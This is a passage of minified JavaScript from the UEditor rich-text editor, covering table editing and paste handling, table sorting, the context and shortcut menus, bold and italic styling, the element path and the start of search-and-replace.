                var i = this, n = t.keyCode || t.which;
                if (8 == n) {
                    var o;
                    (o = B(i)) && o.selectedTds.length && (o.isFullCol() ? i.execCommand("deletecol") : o.isFullRow() ? i.execCommand("deleterow") : i.fireEvent("delcells"), domUtils.preventDefault(t));
                    var r = domUtils.findParentByTagName(i.selection.getStart(), "caption", !0),
                        a = i.selection.getRange();
                    if (a.collapsed && r && R(r)) {
                        i.fireEvent("saveScene");
                        var s = r.parentNode;
                        domUtils.remove(r), s && a.setStart(s.rows[0].cells[0], 0).setCursor(!1, !0), i.fireEvent("saveScene")
                    }
                }
                if (46 == n && (o = B(i))) {
                    i.fireEvent("saveScene");
                    for (var l = 0; p = o.selectedTds[l++];) domUtils.fillNode(i.document, p);
                    i.fireEvent("saveScene"), domUtils.preventDefault(t)
                }
                if (13 == n) {
                    var d = i.selection.getRange();
                    if (r = domUtils.findParentByTagName(d.startContainer, "caption", !0)) {
                        var s = domUtils.findParentByTagName(r, "table");
                        return d.collapsed ? r && d.setStart(s.rows[0].cells[0], 0).setCursor(!1, !0) : (d.deleteContents(), i.fireEvent("saveScene")), void domUtils.preventDefault(t)
                    }
                    if (d.collapsed) if (s = domUtils.findParentByTagName(d.startContainer, "table")) {
                        var c = s.rows[0].cells[0],
                            u = domUtils.findParentByTagName(i.selection.getStart(), ["td", "th"], !0),
                            m = s.previousSibling;
                        if (c === u && (!m || 1 == m.nodeType && "TABLE" == m.tagName) && domUtils.isStartInblock(d)) {
                            var f = domUtils.findParent(i.selection.getStart(), function (e) {
                                return domUtils.isBlockElm(e)
                            }, !0);
                            f && (/t(h|d)/i.test(f.tagName) || f === u.firstChild) && (i.execCommand("insertparagraphbeforetable"), domUtils.preventDefault(t))
                        }
                    }
                }
                if ((t.ctrlKey || t.metaKey) && "67" == t.keyCode && (N = null, o = B(i))) {
                    var h = o.selectedTds;
                    E = o.isFullCol(), T = o.isFullRow(), N = [[o.cloneCell(h[0], null, !0)]];
                    var p;
                    for (l = 1; p = h[l]; l++) p.parentNode !== h[l - 1].parentNode ? N.push([o.cloneCell(p, null, !0)]) : N[N.length - 1].push(o.cloneCell(p, null, !0))
                }
            }), c.addListener("tablehasdeleted", function () {
                M(this, !1, ""), d && domUtils.remove(d)
            }), c.addListener("beforepaste", function (e, t) {
                var i = this, n = i.selection.getRange();
                if (domUtils.findParentByTagName(n.startContainer, "caption", !0)) return (o = i.document.createElement("div")).innerHTML = t.html, void (t.html = o[browser.ie9below ? "innerText" : "textContent"]);
                var o, r, a = B(i);
                if (N) {
                    i.fireEvent("saveScene");
                    n = i.selection.getRange();
                    var s, l, d = domUtils.findParentByTagName(n.startContainer, ["td", "th"], !0);
                    if (d) {
                        var c = k(d);
                        if (T) {
                            var u = c.getCellInfo(d).rowIndex;
                            "TH" == d.tagName && u++;
                            for (var m = 0; b = N[m++];) {
                                for (var f = c.insertRow(u++, "td"), h = 0; C = b[h]; h++) {
                                    var p = f.cells[h];
                                    (p = p || f.insertCell(h)).innerHTML = C.innerHTML, C.getAttribute("width") && p.setAttribute("width", C.getAttribute("width")), C.getAttribute("vAlign") && p.setAttribute("vAlign", C.getAttribute("vAlign")), C.getAttribute("align") && p.setAttribute("align", C.getAttribute("align")), C.style.cssText && (p.style.cssText = C.style.cssText)
                                }
                                for (h = 0; (C = f.cells[h]) && b[h]; h++) C.innerHTML = b[h].innerHTML, b[h].getAttribute("width") && C.setAttribute("width", b[h].getAttribute("width")), b[h].getAttribute("vAlign") && C.setAttribute("vAlign", b[h].getAttribute("vAlign")), b[h].getAttribute("align") && C.setAttribute("align", b[h].getAttribute("align")), b[h].style.cssText && (C.style.cssText = b[h].style.cssText)
                            }
                        } else {
                            if (E) {
                                y = c.getCellInfo(d);
                                for (var g = 0, b = (h = 0, N[0]); C = b[h++];) g += C.colSpan || 1;
                                for (i.__hasEnterExecCommand = !0, m = 0; m < g; m++) i.execCommand("insertcol");
                                i.__hasEnterExecCommand = !1, "TH" == (d = c.table.rows[0].cells[y.cellIndex]).tagName && (d = c.table.rows[1].cells[y.cellIndex])
                            }
                            for (m = 0; b = N[m++];) {
                                s = d;
                                for (h = 0; C = b[h++];) if (d) d.innerHTML = C.innerHTML, C.getAttribute("width") && d.setAttribute("width", C.getAttribute("width")), C.getAttribute("vAlign") && d.setAttribute("vAlign", C.getAttribute("vAlign")), C.getAttribute("align") && d.setAttribute("align", C.getAttribute("align")), C.style.cssText && (d.style.cssText = C.style.cssText), d = (l = d).nextSibling; else {
                                    var v = C.cloneNode(!0);
                                    domUtils.removeAttributes(v, ["class", "rowSpan", "colSpan"]), l.parentNode.appendChild(v)
                                }
                                if (d = c.getNextCell(s, !0, !0), !N[m]) break;
                                if (!d) {
                                    var y = c.getCellInfo(s);
                                    c.table.insertRow(c.table.rows.length), c.update(), d = c.getVSideCell(s, !0)
                                }
                            }
                        }
                        c.update()
                    } else {
                        a = i.document.createElement("table");
                        for (m = 0; b = N[m++];) {
                            var C;
                            for (f = a.insertRow(a.rows.length), h = 0; C = b[h++];) v = S.cloneCell(C, null, !0), domUtils.removeAttributes(v, ["class"]), f.appendChild(v);
                            2 == h && 1 < v.rowSpan && (v.rowSpan = 1)
                        }
                        var x = U(i),
                            w = i.body.offsetWidth - 2 * parseInt(domUtils.getComputedStyle(i.body, "margin-left"), 10) - 2 * x.tableBorder - (i.options.offsetWidth || 0);
                        i.execCommand("insertHTML", "<table  " + (E && T ? 'width="' + w + '"' : "") + ">" + a.innerHTML.replace(/>\s*</g, "><").replace(/\bth\b/gi, "td") + "</table>")
                    }
                    return i.fireEvent("contentchange"), i.fireEvent("saveScene"), !(t.html = "")
                }
                (o = i.document.createElement("div")).innerHTML = t.html, r = o.getElementsByTagName("table"), domUtils.findParentByTagName(i.selection.getStart(), "table") ? (utils.each(r, function (e) {
                    domUtils.remove(e)
                }), domUtils.findParentByTagName(i.selection.getStart(), "caption", !0) && (o.innerHTML = o[browser.ie ? "innerText" : "textContent"])) : utils.each(r, function (e) {
                    _(e), domUtils.removeAttributes(e, ["style", "border"]), utils.each(domUtils.getElementsByTagName(e, "td"), function (e) {
                        R(e) && domUtils.fillNode(i.document, e), _(e)
                    })
                }), t.html = o.innerHTML
            }), c.addListener("afterpaste", function () {
                utils.each(domUtils.getElementsByTagName(c.body, "table"), function (e) {
                    if (e.offsetWidth > c.body.offsetWidth) {
                        var t = U(c, e);
                        e.style.width = c.body.offsetWidth - 2 * parseInt(domUtils.getComputedStyle(c.body, "margin-left"), 10) - 2 * t.tableBorder - (c.options.offsetWidth || 0) + "px"
                    }
                })
            }), c.addListener("blur", function () {
                N = null
            }), c.addListener("keydown", function () {
                clearTimeout(e), e = setTimeout(function () {
                    var e = c.selection.getRange(),
                        t = domUtils.findParentByTagName(e.startContainer, ["th", "td"], !0);
                    if (t) {
                        var i = t.parentNode.parentNode.parentNode;
                        i.offsetWidth > i.getAttribute("width") && (t.style.wordBreak = "break-all")
                    }
                }, 100)
            }), c.addListener("selectionchange", function () {
                M(c, !1, "")
            }), c.addListener("contentchange", function () {
                var d = this;
                if (Y(d), !B(d)) {
                    var e = d.selection.getRange().startContainer;
                    e = domUtils.findParentByTagName(e, ["td", "th"], !0), utils.each(domUtils.getElementsByTagName(d.document, "table"), function (e) {
                        !0 !== d.fireEvent("excludetable", e) && (e.ueTable = new S(e), e.onmouseover = function () {
                            d.fireEvent("tablemouseover", e)
                        }, e.onmousemove = function () {
                            d.fireEvent("tablemousemove", e), d.options.tableDragable && A(!0, this, d), utils.defer(function () {
                                d.fireEvent("contentchange", 50)
                            }, !0)
                        }, e.onmouseout = function () {
                            d.fireEvent("tablemouseout", e), M(d, !1, ""), Y(d)
                        }, e.onclick = function (e) {
                            var t = L((e = d.window.event || e).target || e.srcElement);
                            if (t) {
                                var i, n = k(t), o = n.table, r = n.getCellInfo(t), a = d.selection.getRange();
                                if (D(o, t, e, !0)) {
                                    var s = n.getCell(n.indexTable[n.rowsNum - 1][r.colIndex].rowIndex, n.indexTable[n.rowsNum - 1][r.colIndex].cellIndex);
                                    e.shiftKey && n.selectedTds.length ? n.selectedTds[0] !== s ? (i = n.getCellsRange(n.selectedTds[0], s), n.setSelected(i)) : a && a.selectNodeContents(s).select() : t !== s ? (i = n.getCellsRange(t, s), n.setSelected(i)) : a && a.selectNodeContents(s).select()
                                } else if (D(o, t, e)) {
                                    var l = n.getCell(n.indexTable[r.rowIndex][n.colsNum - 1].rowIndex, n.indexTable[r.rowIndex][n.colsNum - 1].cellIndex);
                                    e.shiftKey && n.selectedTds.length ? n.selectedTds[0] !== l ? (i = n.getCellsRange(n.selectedTds[0], l), n.setSelected(i)) : a && a.selectNodeContents(l).select() : t !== l ? (i = n.getCellsRange(t, l), n.setSelected(i)) : a && a.selectNodeContents(l).select()
                                }
                            }
                        })
                    }), G(d, !0)
                }
            }), domUtils.on(c.document, "mousemove", i), domUtils.on(c.document, "mouseout", function (e) {
                "TABLE" == (e.target || e.srcElement).tagName && M(c, !1, "")
            }), c.addListener("interlacetable", function (e, t, i) {
                if (t) for (var n, o, r, a = t.rows, s = a.length, l = 0; l < s; l++) a[l].className = (n = i || this.options.classList, r = !0, n[o = l] ? n[o] : r ? n[o % n.length] : "")
            }), c.addListener("uninterlacetable", function (e, t) {
                if (t) for (var i = t.rows, n = this.options.classList, o = i.length, r = 0; r < o; r++) domUtils.removeClasses(i[r], n)
            }), c.addListener("mousedown", o), c.addListener("mouseup", P), domUtils.on(c.body, "dragstart", function (e) {
                P.call(c, "dragstart", e)
            }), c.addOutputRule(function (e) {
                utils.each(e.getNodesByTagName("div"), function (e) {
                    "ue_tableDragLine" == e.getAttr("id") && e.parentNode.removeChild(e)
                })
            });
            var a = 0;
            c.addListener("mousedown", function () {
                a = 0
            }), c.addListener("tabkeydown", function () {
                var e = this.selection.getRange(), t = e.getCommonAncestor(!0, !0),
                    i = domUtils.findParentByTagName(t, "table");
                if (i) {
                    if (domUtils.findParentByTagName(t, "caption", !0)) {
                        (n = domUtils.getElementsByTagName(i, "th td")) && n.length && e.setStart(n[0], 0).setCursor(!1, !0)
                    } else {
                        var n = domUtils.findParentByTagName(t, ["td", "th"], !0), o = k(n);
                        a = 1 < n.rowSpan ? a : o.getCellInfo(n).rowIndex;
                        var r = o.getTabNextCell(n, a);
                        r ? R(r) ? e.setStart(r, 0).setCursor(!1, !0) : e.selectNodeContents(r).select() : (c.fireEvent("saveScene"), c.__hasEnterExecCommand = !0, this.execCommand("insertrownext"), c.__hasEnterExecCommand = !1, (e = this.selection.getRange()).setStart(i.rows[i.rows.length - 1].cells[0], 0).setCursor(), c.fireEvent("saveScene"))
                    }
                    return !0
                }
            }), browser.ie && c.addListener("selectionchange", function () {
                M(this, !1, "")
            }), c.addListener("keydown", function (e, t) {
                var i = t.keyCode || t.which;
                if (8 != i && 46 != i) {
                    var n = !(t.ctrlKey || t.metaKey || t.shiftKey || t.altKey);
                    n && s(domUtils.getElementsByTagName(this.body, "td"));
                    var o = B(this);
                    o && n && o.clearSelected()
                }
            }), c.addListener("beforegetcontent", function () {
                G(this, !1), browser.ie && utils.each(this.document.getElementsByTagName("caption"), function (e) {
                    domUtils.isEmptyNode(e) && (e.innerHTML = "&nbsp;")
                })
            }), c.addListener("aftergetcontent", function () {
                G(this, !0)
            }), c.addListener("getAllHtml", function () {
                s(c.document.getElementsByTagName("td"))
            }), c.addListener("fullscreenchanged", function (e, t) {
                if (!t) {
                    var d = this.body.offsetWidth / document.body.offsetWidth,
                        i = domUtils.getElementsByTagName(this.body, "table");
                    utils.each(i, function (e) {
                        if (e.offsetWidth < c.body.offsetWidth) return !1;
                        var t, i, n, o, r = domUtils.getElementsByTagName(e, "td"), a = [];
                        utils.each(r, function (e) {
                            a.push(e.offsetWidth)
                        });
                        for (var s, l = 0; s = r[l]; l++) s.setAttribute("width", Math.floor(a[l] * d));
                        e.setAttribute("width", Math.floor((i = !0, n = U(t = c), (o = t.body).offsetWidth - (i ? 2 * parseInt(domUtils.getComputedStyle(o, "margin-left"), 10) : 0) - 2 * n.tableBorder - (t.options.offsetWidth || 0))))
                    })
                }
            });
            var h = c.execCommand;
            c.execCommand = function (e, t) {
                var i = this;
                e = e.toLowerCase();
                var n, o, r = B(i), a = new dom.Range(i.document), s = i.commands[e] || UE.commands[e];
                if (s) {
                    if (!r || I[e] || s.notNeedUndo || i.__hasEnterExecCommand) o = h.apply(i, arguments); else {
                        i.__hasEnterExecCommand = !0, i.fireEvent("beforeexeccommand", e), n = r.selectedTds;
                        for (var l, d, c, u = -2, m = -2, f = 0; c = n[f]; f++) R(c) ? a.setStart(c, 0).setCursor(!1, !0) : a.selectNode(c).select(!0), d = i.queryCommandState(e), l = i.queryCommandValue(e), -1 != d && (u === d && m === l || (i._ignoreContentChange = !0, o = h.apply(i, arguments), i._ignoreContentChange = !1), u = i.queryCommandState(e), m = i.queryCommandValue(e), domUtils.isEmptyBlock(c) && domUtils.fillNode(i.document, c));
                        a.setStart(n[0], 0).shrinkBoundary(!0).setCursor(!1, !0), i.fireEvent("contentchange"), i.fireEvent("afterexeccommand", e), i.__hasEnterExecCommand = !1, i._selectionChange()
                    }
                    return o
                }
            }
        })
    }, UE.UETable.prototype.sortTable = function (i, n) {
        var e = this.table, t = e.rows, o = [], r = "TH" === t[0].cells[0].tagName, a = 0;
        if (this.selectedTds.length) {
            for (var s = this.cellsRange, l = s.endRowIndex + 1, d = s.beginRowIndex; d < l; d++) o[d] = t[d];
            o.splice(0, s.beginRowIndex), a = s.endRowIndex + 1 === this.rowsNum ? 0 : s.endRowIndex + 1
        } else for (d = 0, l = t.length; d < l; d++) o[d] = t[d];
        var c = {
            reversecurrent: function (e, t) {
                return 1
            }, orderbyasc: function (e, t) {
                var i = e.innerText || e.textContent, n = t.innerText || t.textContent;
                return i.localeCompare(n)
            }, reversebyasc: function (e, t) {
                var i = e.innerHTML;
                return t.innerHTML.localeCompare(i)
            }, orderbynum: function (e, t) {
                var i = e[browser.ie ? "innerText" : "textContent"].match(/\d+/),
                    n = t[browser.ie ? "innerText" : "textContent"].match(/\d+/);
                return ((i = i && +i[0]) || 0) - ((n = n && +n[0]) || 0)
            }, reversebynum: function (e, t) {
                var i = e[browser.ie ? "innerText" : "textContent"].match(/\d+/),
                    n = t[browser.ie ? "innerText" : "textContent"].match(/\d+/);
                return i = i && +i[0], ((n = n && +n[0]) || 0) - (i || 0)
            }
        };
        e.setAttribute("data-sort-type", n && "string" == typeof n && c[n] ? n : ""), r && o.splice(0, 1), o = utils.sort(o, function (e, t) {
            return n && "function" == typeof n ? n.call(this, e.cells[i], t.cells[i]) : n && "number" == typeof n ? 1 : n && "string" == typeof n && c[n] ? c[n].call(this, e.cells[i], t.cells[i]) : c.orderbyasc.call(this, e.cells[i], t.cells[i])
        });
        var u = e.ownerDocument.createDocumentFragment(), m = 0;
        for (l = o.length; m < l; m++) u.appendChild(o[m]);
        var f = e.getElementsByTagName("tbody")[0];
        a ? f.insertBefore(u, t[a - s.endRowIndex + s.beginRowIndex - 1]) : f.appendChild(u)
    }, UE.plugins.tablesort = function () {
        function d(e) {
            return c.getTableItemsByRange(e)
        }

        var e = this, c = UE.UETable;
        e.ready(function () {
            utils.cssRule("tablesort", "table.sortEnabled tr.firstRow th,table.sortEnabled tr.firstRow td{padding-right:20px;background-repeat: no-repeat;background-position: center right;   background-image:url(" + e.options.themePath + e.options.theme + "/images/sortable.png);}", e.document), e.addListener("afterexeccommand", function (e, t) {
                "mergeright" != t && "mergedown" != t && "mergecells" != t || this.execCommand("disablesort")
            })
        }), UE.commands.sorttable = {
            queryCommandState: function () {
                var e = d(this);
                if (!e.cell) return -1;
                for (var t, i = e.table.getElementsByTagName("td"), n = 0; t = i[n++];) if (1 != t.rowSpan || 1 != t.colSpan) return -1;
                return 0
            }, execCommand: function (e, t) {
                var i, n = this.selection.getRange(), o = n.createBookmark(!0), r = d(this), a = r.cell,
                    s = (i = r.table, c.getUETable(i)), l = s.getCellInfo(a);
                s.sortTable(l.cellIndex, t), n.moveToBookmark(o);
                try {
                    n.select()
                } catch (e) {
                }
            }
        }, UE.commands.enablesort = UE.commands.disablesort = {
            queryCommandState: function (e) {
                var t = d(this).table;
                if (t && "enablesort" == e) for (var i = domUtils.getElementsByTagName(t, "th td"), n = 0; n < i.length; n++) if (1 < i[n].getAttribute("colspan") || 1 < i[n].getAttribute("rowspan")) return -1;
                return !t || "enablesort" == e ^ "sortEnabled" != t.getAttribute("data-sort") ? -1 : 0
            }, execCommand: function (e) {
                var t = d(this).table;
                t.setAttribute("data-sort", "enablesort" == e ? "sortEnabled" : "sortDisabled"), "enablesort" == e ? domUtils.addClass(t, "sortEnabled") : domUtils.removeClasses(t, "sortEnabled")
            }
        }
    }, UE.plugins.contextmenu = function () {
        var l = this;
        if (l.setOpt("enableContextMenu", !0), !1 !== l.getOpt("enableContextMenu")) {
            var d, c = l.getLang("contextMenu"),
                u = l.options.contextMenu || [{label: c.selectall, cmdName: "selectall"}, {
                    label: c.cleardoc,
                    cmdName: "cleardoc",
                    exec: function () {
                        confirm(c.confirmclear) && this.execCommand("cleardoc")
                    }
                }, "-", {label: c.unlink, cmdName: "unlink"}, "-", {
                    group: c.paragraph,
                    icon: "justifyjustify",
                    subMenu: [{label: c.justifyleft, cmdName: "justify", value: "left"}, {
                        label: c.justifyright,
                        cmdName: "justify",
                        value: "right"
                    }, {label: c.justifycenter, cmdName: "justify", value: "center"}, {
                        label: c.justifyjustify,
                        cmdName: "justify",
                        value: "justify"
                    }]
                }, "-", {
                    group: c.table,
                    icon: "table",
                    subMenu: [{label: c.inserttable, cmdName: "inserttable"}, {
                        label: c.deletetable,
                        cmdName: "deletetable"
                    }, "-", {label: c.deleterow, cmdName: "deleterow"}, {
                        label: c.deletecol,
                        cmdName: "deletecol"
                    }, {label: c.insertcol, cmdName: "insertcol"}, {
                        label: c.insertcolnext,
                        cmdName: "insertcolnext"
                    }, {label: c.insertrow, cmdName: "insertrow"}, {
                        label: c.insertrownext,
                        cmdName: "insertrownext"
                    }, "-", {label: c.insertcaption, cmdName: "insertcaption"}, {
                        label: c.deletecaption,
                        cmdName: "deletecaption"
                    }, {label: c.inserttitle, cmdName: "inserttitle"}, {
                        label: c.deletetitle,
                        cmdName: "deletetitle"
                    }, {label: c.inserttitlecol, cmdName: "inserttitlecol"}, {
                        label: c.deletetitlecol,
                        cmdName: "deletetitlecol"
                    }, "-", {label: c.mergecells, cmdName: "mergecells"}, {
                        label: c.mergeright,
                        cmdName: "mergeright"
                    }, {label: c.mergedown, cmdName: "mergedown"}, "-", {
                        label: c.splittorows,
                        cmdName: "splittorows"
                    }, {label: c.splittocols, cmdName: "splittocols"}, {
                        label: c.splittocells,
                        cmdName: "splittocells"
                    }, "-", {label: c.averageDiseRow, cmdName: "averagedistributerow"}, {
                        label: c.averageDisCol,
                        cmdName: "averagedistributecol"
                    }, "-", {
                        label: c.edittd, cmdName: "edittd", exec: function () {
                            UE.ui.edittd && new UE.ui.edittd(this), this.getDialog("edittd").open()
                        }
                    }, {
                        label: c.edittable, cmdName: "edittable", exec: function () {
                            UE.ui.edittable && new UE.ui.edittable(this), this.getDialog("edittable").open()
                        }
                    }, {label: c.setbordervisible, cmdName: "setbordervisible"}]
                }, {
                    group: c.tablesort,
                    icon: "tablesort",
                    subMenu: [{label: c.enablesort, cmdName: "enablesort"}, {
                        label: c.disablesort,
                        cmdName: "disablesort"
                    }, "-", {
                        label: c.reversecurrent,
                        cmdName: "sorttable",
                        value: "reversecurrent"
                    }, {label: c.orderbyasc, cmdName: "sorttable", value: "orderbyasc"}, {
                        label: c.reversebyasc,
                        cmdName: "sorttable",
                        value: "reversebyasc"
                    }, {label: c.orderbynum, cmdName: "sorttable", value: "orderbynum"}, {
                        label: c.reversebynum,
                        cmdName: "sorttable",
                        value: "reversebynum"
                    }]
                }, {
                    group: c.borderbk,
                    icon: "borderBack",
                    subMenu: [{
                        label: c.setcolor, cmdName: "interlacetable", exec: function () {
                            this.execCommand("interlacetable")
                        }
                    }, {
                        label: c.unsetcolor, cmdName: "uninterlacetable", exec: function () {
                            this.execCommand("uninterlacetable")
                        }
                    }, {
                        label: c.setbackground, cmdName: "settablebackground", exec: function () {
                            this.execCommand("settablebackground", {repeat: !0, colorList: ["#bbb", "#ccc"]})
                        }
                    }, {
                        label: c.unsetbackground, cmdName: "cleartablebackground", exec: function () {
                            this.execCommand("cleartablebackground")
                        }
                    }, {
                        label: c.redandblue, cmdName: "settablebackground", exec: function () {
                            this.execCommand("settablebackground", {repeat: !0, colorList: ["red", "blue"]})
                        }
                    }, {
                        label: c.threecolorgradient, cmdName: "settablebackground", exec: function () {
                            this.execCommand("settablebackground", {repeat: !0, colorList: ["#aaa", "#bbb", "#ccc"]})
                        }
                    }]
                }, {
                    group: c.aligntd,
                    icon: "aligntd",
                    subMenu: [{
                        cmdName: "cellalignment",
                        value: {align: "left", vAlign: "top"}
                    }, {cmdName: "cellalignment", value: {align: "center", vAlign: "top"}}, {
                        cmdName: "cellalignment",
                        value: {align: "right", vAlign: "top"}
                    }, {cmdName: "cellalignment", value: {align: "left", vAlign: "middle"}}, {
                        cmdName: "cellalignment",
                        value: {align: "center", vAlign: "middle"}
                    }, {cmdName: "cellalignment", value: {align: "right", vAlign: "middle"}}, {
                        cmdName: "cellalignment",
                        value: {align: "left", vAlign: "bottom"}
                    }, {
                        cmdName: "cellalignment",
                        value: {align: "center", vAlign: "bottom"}
                    }, {cmdName: "cellalignment", value: {align: "right", vAlign: "bottom"}}]
                }, {
                    group: c.aligntable,
                    icon: "aligntable",
                    subMenu: [{
                        cmdName: "tablealignment",
                        className: "left",
                        label: c.tableleft,
                        value: "left"
                    }, {
                        cmdName: "tablealignment",
                        className: "center",
                        label: c.tablecenter,
                        value: "center"
                    }, {cmdName: "tablealignment", className: "right", label: c.tableright, value: "right"}]
                }, "-", {
                    label: c.insertparagraphbefore,
                    cmdName: "insertparagraph",
                    value: !0
                }, {label: c.insertparagraphafter, cmdName: "insertparagraph"}, {
                    label: c.copy,
                    cmdName: "copy"
                }, {label: c.paste, cmdName: "paste"}];
            if (u.length) {
                var m = UE.ui.uiUtils;
                l.addListener("contextmenu", function (e, t) {
                    var i = m.getViewportOffsetByEvent(t);
                    l.fireEvent("beforeselectionchange"), d && d.destroy();
                    for (var n, o = 0, r = []; n = u[o]; o++) {
                        var a;
                        !function (e) {
                            if ("-" == e) (a = r[r.length - 1]) && "-" !== a && r.push("-"); else if (e.hasOwnProperty("group")) {
                                for (var t, i = 0, n = []; t = e.subMenu[i]; i++) !function (e) {
                                    "-" == e ? (a = n[n.length - 1]) && "-" !== a ? n.push("-") : n.splice(n.length - 1) : (l.commands[e.cmdName] || UE.commands[e.cmdName] || e.query) && -1 < (e.query ? e.query() : l.queryCommandState(e.cmdName)) && n.push({
                                        label: e.label || l.getLang("contextMenu." + e.cmdName + (e.value || "")) || "",
                                        className: "edui-for-" + e.cmdName + (e.className ? " edui-for-" + e.cmdName + "-" + e.className : ""),
                                        onclick: e.exec ? function () {
                                            e.exec.call(l)
                                        } : function () {
                                            l.execCommand(e.cmdName, e.value)
                                        }
                                    })
                                }(t);
                                if (n.length) {
                                    r.push({
                                        label: function () {
                                            switch (e.icon) {
                                                case"table":
                                                    return l.getLang("contextMenu.table");
                                                case"justifyjustify":
                                                    return l.getLang("contextMenu.paragraph");
                                                case"aligntd":
                                                    return l.getLang("contextMenu.aligntd");
                                                case"aligntable":
                                                    return l.getLang("contextMenu.aligntable");
                                                case"tablesort":
                                                    return c.tablesort;
                                                case"borderBack":
                                                    return c.borderbk;
                                                default:
                                                    return ""
                                            }
                                        }(), className: "edui-for-" + e.icon, subMenu: {items: n, editor: l}
                                    })
                                }
                            } else (l.commands[e.cmdName] || UE.commands[e.cmdName] || e.query) && -1 < (e.query ? e.query.call(l) : l.queryCommandState(e.cmdName)) && r.push({
                                label: e.label || l.getLang("contextMenu." + e.cmdName),
                                className: "edui-for-" + (e.icon ? e.icon : e.cmdName + (e.value || "")),
                                onclick: e.exec ? function () {
                                    e.exec.call(l)
                                } : function () {
                                    l.execCommand(e.cmdName, e.value)
                                }
                            })
                        }(n)
                    }
                    if ("-" == r[r.length - 1] && r.pop(), (d = new UE.ui.Menu({
                        items: r,
                        className: "edui-contextmenu",
                        editor: l
                    })).render(), d.showAt(i), l.fireEvent("aftershowcontextmenu", d), domUtils.preventDefault(t), browser.ie) {
                        var s;
                        try {
                            s = l.selection.getNative().createRange()
                        } catch (e) {
                            return
                        }
                        if (s.item) new dom.Range(l.document).selectNode(s.item(0)).select(!0, !0)
                    }
                }), l.addListener("aftershowcontextmenu", function (e, t) {
                    if (l.zeroclipboard) {
                        var i = t.items;
                        for (var n in i) "edui-for-copy" == i[n].className && l.zeroclipboard.clip(i[n].getDom())
                    }
                })
            }
        }
    }, UE.plugins.shortcutmenu = function () {
        var r, a = this.options.shortcutMenu || [];
        a.length && (this.addListener("contextmenu mouseup", function (e, t) {
            var i = this, n = {
                type: e,
                target: t.target || t.srcElement,
                screenX: t.screenX,
                screenY: t.screenY,
                clientX: t.clientX,
                clientY: t.clientY
            };
            if (setTimeout(function () {
                !1 !== i.selection.getRange().collapsed && "contextmenu" != e || (r || ((r = new baidu.editor.ui.ShortCutMenu({
                    editor: i,
                    items: a,
                    theme: i.options.theme,
                    className: "edui-shortcutmenu"
                })).render(), i.fireEvent("afterrendershortcutmenu", r)), r.show(n, !!UE.plugins.contextmenu))
            }), "contextmenu" == e && (domUtils.preventDefault(t), browser.ie9below)) {
                var o;
                try {
                    o = i.selection.getNative().createRange()
                } catch (t) {
                    return
                }
                if (o.item) new dom.Range(i.document).selectNode(o.item(0)).select(!0, !0)
            }
        }), this.addListener("keydown", function (e) {
            "keydown" == e && r && !r.isHidden && r.hide()
        }))
    }, UE.plugins.basestyle = function () {
        function a(e, t) {
            return domUtils.filterNodeList(e.selection.getStartElementPath(), t)
        }

        var e = {bold: ["strong", "b"], italic: ["em", "i"], subscript: ["sub"], superscript: ["sup"]}, s = this;
        for (var t in s.addshortcutkey({
            Bold: "ctrl+66",
            Italic: "ctrl+73",
            Underline: "ctrl+85"
        }), s.addInputRule(function (e) {
            utils.each(e.getNodesByTagName("b i"), function (e) {
                switch (e.tagName) {
                    case"b":
                        e.tagName = "strong";
                        break;
                    case"i":
                        e.tagName = "em"
                }
            })
        }), e) !function (e, r) {
            s.commands[e] = {
                execCommand: function (e) {
                    var t = s.selection.getRange(), i = a(this, r);
                    if (t.collapsed) {
                        if (i) {
                            var n = s.document.createTextNode("");
                            t.insertNode(n).removeInlineStyle(r), t.setStartBefore(n), domUtils.remove(n)
                        } else {
                            var o = t.document.createElement(r[0]);
                            "superscript" != e && "subscript" != e || (n = s.document.createTextNode(""), t.insertNode(n).removeInlineStyle(["sub", "sup"]).setStartBefore(n).collapse(!0)), t.insertNode(o).setStart(o, 0)
                        }
                        t.collapse(!0)
                    } else "superscript" != e && "subscript" != e || i && i.tagName.toLowerCase() == e || t.removeInlineStyle(["sub", "sup"]), i ? t.removeInlineStyle(r) : t.applyInlineStyle(r[0]);
                    t.select()
                }, queryCommandState: function () {
                    return a(this, r) ? 1 : 0
                }
            }
        }(t, e[t])
    }, UE.plugins.elementpath = function () {
        var r, a, o = this;
        o.setOpt("elementPathEnabled", !0), o.options.elementPathEnabled && (o.commands.elementpath = {
            execCommand: function (e, t) {
                var i = a[t], n = o.selection.getRange();
                r = +t, n.selectNode(i).select()
            }, queryCommandValue: function () {
                var e = [].concat(this.selection.getStartElementPath()).reverse(), t = [];
                a = e;
                for (var i, n = 0; i = e[n]; n++) if (3 != i.nodeType) {
                    var o = i.tagName.toLowerCase();
                    if ("img" == o && i.getAttribute("anchorname") && (o = "anchor"), t[n] = o, r == n) {
                        r = -1;
                        break
                    }
                }
                return t
            }
        })
    }, UE.plugin.register("searchreplace", function () {
        var r = this, u = {table: 1, tbody: 1, tr: 1, ol: 1, ul: 1};

        function m(e, t, i) {
            var n = t.searchStr;
            -1 == t.dir && (e = e.split("").reverse().join(""), n = n.split("").reverse().join(""), i = e.length - i);
            for (var o, r = new RegExp(n, "g" + (t.casesensitive ? "" : "i")); o = r.exec(e);) if (o.index >= i) return -1 == t.dir ? e.length - o.index - t.searchStr.length : o.index;
            return -1
        }

        function f(e, t, i) {
            for (var n, o = 0, r = e.firstChild, a = 0; r;) {
                if (3 == r.nodeType) {
                    if (t <= (o += a = r.nodeValue.replace(/(^[\t\r\n]+)|([\t\r\n]+$)/, "").length)) return {
                        node: r,
                        index: a - (o - t)
                    }
                } else if (!dtd.$empty[r.tagName] && t <= (o += a = r[browser.ie ? "innerText" : "textContent"].replace(/(^[\t\r\n]+)|([\t\r\n]+$)/, "").length) && (n = f(r, a - (o - t), i))) return n;
                r = domUtils.getNextDomNode(r)
            }
        }

        function a(e, t) {
            var i, n = e.selection.getRange(), o = t.searchStr, r = e.document.createElement("span");
            if (r.innerHTML = "$$ueditor_searchreplace_key$$", n.shrinkBoundary(!0), !n.collapsed) {
                n.select();
                var a = e.selection.getText();
                if (new RegExp("^" + t.searchStr + "$", t.casesensitive ? "" : "i").test(a)) {
                    if (null != t.replaceStr) return h(n, t.replaceStr), n.select(), 1;
                    n.collapse(-1 == t.dir)
                }
            }
            n.insertNode(r), n.enlargeToBlockElm(!0);
            var s = (i = n.startContainer)[browser.ie ? "innerText" : "textContent"].indexOf("$$ueditor_searchreplace_key$$");
            n.setStartBefore(r), domUtils.remove(r);
            var l = function (e, t, i) {
                var n, o = i.all || 1 == i.dir ? "getNextDomNode" : "getPreDomNode";
                for (domUtils.isBody(e) && (e = e.firstChild); e;) {
